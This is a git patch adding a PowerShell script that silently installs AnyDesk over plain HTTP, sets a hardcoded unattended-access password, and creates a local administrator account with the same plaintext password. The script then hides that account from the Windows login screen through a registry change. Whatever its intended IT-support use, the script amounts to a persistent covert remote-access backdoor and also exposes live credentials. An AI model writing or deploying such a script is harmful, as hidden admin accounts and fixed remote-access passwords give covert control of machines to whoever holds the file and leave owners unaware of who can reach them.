From 4ce891691f558dc2e2a480767f8d07d0b3dd7c84 Mon Sep 17 00:00:00 2001 From: rgmcewan Date: Mon, 28 Oct 2024 22:02:33 +1000 Subject: [PATCH] new --- bts-anydesk.ps1 | 47 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 bts-anydesk.ps1 diff --git a/bts-anydesk.ps1 b/bts-anydesk.ps1 new file mode 100644 index 0000000..79babf4 --- /dev/null +++ b/bts-anydesk.ps1 @@ -0,0 +1,47 @@ +function Install-AnyDesk { + param ( + [string]$InstallPath = "C:\ProgramData\AnyDesk", + [string]$AnyDeskUrl = "http://download.anydesk.com/AnyDesk.exe", + [string]$Password = "h44uvBkpvvFj", + [string]$AdminUsername = "biztech.admin", + [string]$AdminPassword = "h44uvBkpvvFj" + ) + + # Error handling + try { + # Create the installation directory if it doesn't exist + if (-not (Test-Path -Path $InstallPath -PathType Container)) { + New-Item -Path $InstallPath -ItemType Directory + } + + # Download AnyDesk + Invoke-WebRequest -Uri $AnyDeskUrl -OutFile (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") + + # Install AnyDesk silently + Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--install $InstallPath --start-with-win --silent" -Wait + + # Set AnyDesk password + Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--set-password=$Password" -Wait + + # Create a new user account + New-LocalUser -Name $AdminUsername -Password (ConvertTo-SecureString -String $AdminPassword -AsPlainText -Force) + + # Add the user to the Administrators group + Add-LocalGroupMember -Group "Administrators" -Member $AdminUsername + + # Hide the user from the Windows login screen + Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" -Name $AdminUsername -Value 0 -Type DWORD -Force + + # Get AnyDesk ID + Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--get-id" -Wait + + Write-Host "Installation completed successfully." + } + catch { + Write-Host "Error: $_" + Write-Host "Installation failed." + } +} + +# Call the Install-AnyDesk function with default values +Install-AnyDesk \ No newline at end of file